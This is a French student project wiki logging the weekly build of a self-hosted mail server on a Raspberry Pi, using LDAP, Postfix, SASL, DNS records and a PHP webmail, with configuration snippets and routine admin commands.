===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Code Perl du script pour Postfix : [http:/// Hold on a second]

Fichier de configuration (Postfix/Lighttpd...) fonctionnels : [http:/// I'm on it, hold on]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-23T10:32:42Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

